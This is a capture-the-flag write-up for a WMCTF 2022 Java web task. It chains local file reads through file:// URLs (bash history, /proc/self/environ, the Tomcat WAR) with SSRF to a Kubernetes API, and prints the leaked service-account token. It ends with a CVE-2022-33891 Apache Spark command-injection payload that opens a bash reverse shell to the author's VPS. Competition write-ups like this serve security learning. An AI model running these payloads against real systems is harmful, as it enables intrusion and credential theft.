WMCTF 2022 LFI->SSRF->RCE
WMCTF 2022 - web writeup
Intro
WMCTF was a very decent capture the flag competition with very hard and realistic tasks; We spot 23rd position after 2 sleepless nights, it was a real pleasure to play with SOter14 team.
https://ctftime.org/team/194091
Java - 15 solves (435 points)
A simple form that sends post request to /file with two params:
- URL (url to visit)
- VCODE (captcha) and reflects back the result. We don’t have source code of the task though.
The first thing I tested is LFI(Local File Inclusion) with file protocol file:// in order to read internal files, looks like an entrypoint!
I opened a lot of sensitive files and from .bash_history (/home/ctf/.bash_history) I found that the server is running apache tomcat, hence I tried to search for the right path to the source code of the running web app :
> file:///usr/local/tomcat8/webapps/ROOT.war
successfuly dumped the source code !
Let's focus on the .class files found in WEB-INF/classes/controller as they contain the logic of the webtask :
I used jdec online as a java decompiler
1 | /* Decompiler 13ms, total 665ms, lines 93 */ |
The other VerifyCode.class is handling the captcha and there is nothing interesting there.
Notes:
The input validation is very suspicious, didn’t found a logic explanation why the author is filtering ` char.
1
2
3if (url.contains("`") || url.contains("%60") || url.contains("%25%36%30")) {
this.Response(resp, "bad");
}Ignoring SSL from incoming https request looks juicy
1 | try { |
From linux env file:
file:///proc/self/environ
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1IN0RxS0k3U0xhZ1ljYnk1WkE3WE5Mb2dMcVdLOXh5NXVEdmtfc2lKMWMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImN0ZmVyLXRva2VuLXB6NWxtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImN0ZmVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYjg2ODY0MTgtOWNiOC00MjZiLThkZmQtNTgxM2E1YTVmMTdiIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6Y3RmZXIifQ.JWwKPAYDMYDmqq-jg9Mzmvil-wG33skSqWsS3_zjv1bLGTRMUvP73w_LsLu7ptRJ1iofTbHBrgRyn01sJ2wjG8f-LruNFWwPj0S6zcGnfYlaUfG70lZIA7otXgEb2pCBzdqrxH4n4PR2aAE5wG-p_uoBjwiShrX-ykfxwErJMnwvJ15OQ57Y87QlZllkaYnvXgg3853qQ5ww414dz4UZ1BL7jXlcCjwbivHMifxMvUAL6GJWY-yoA3hJJBMNz5sjgUz71MXs-0wWLczDk5cv4mbXrjE-mCden5er32ifjsWBx6H_1i5JX6lSt3BP7iUxBQVaqLhnBtYR5nQuFADMFg |
Special thanks to my teammate Raf² for mentionning that this is a Kubernetes related stuff
With that being said, we can chain the LFI with SSRF to access /apis endpoint with that token from localhost
/apis/v1/namespaces
/api/v1/namespaces/ctf/pods/
1 | HTTP/1.1 200 |
Well seems that there are few more steps, To sum up:
- There is a pod (the smallest execution unit in Kubernetes) that is running apache spark, in a container with exposed IP
"ip": "10.244.0.228"
"containerPort": 8080
- The ip is incrementing by one every 40 mins
- The flag hides in that container, we need to chain with RCE !
Well, it’s CVE-2022-33891 recently found by the security researcher Kostya Kortchinsky: https://www.socinvestigation.com/cve-2022-33891-apache-spark-shell-command-injection-detection-response/
We’re too close to reach our flag, it’s a blind os command injection context that will give us remote code execution, but hold on! Remember that ` was blacklisted :)
As a result, the proof of concept for this CVE ain’t working :)
The author said that I should dive deep in Spark source code in order to get an alternative, that’s really tough !
Final solution
1 | POST /file HTTP/1.1 |
Payload
1 | http://10.244.0.230:8080/?doAs=%253bbash%2b-i%2b>%2526%2b/dev/tcp/[personal VPS IP]/8888%2b0>%25261 |
Notes
- “?doAs=;command” is a proved alternative for “?doAs=`command`“
- Ports are filtered and only port 8888 is allowed as an external port, so we are restricted to only listen on port 8888 in order to grab rev shell, ngrok won’t work though cuz it generates random port. A private vps is a must for solving the chall.
Finally
Raf², m0ngi and all my teammates are GODLIKE! They showcased a great performance in this CTF.
RESPECT to Chara, the author of the task!
Looking forward to solve more difficult (and not guessy ofc) challs
n0s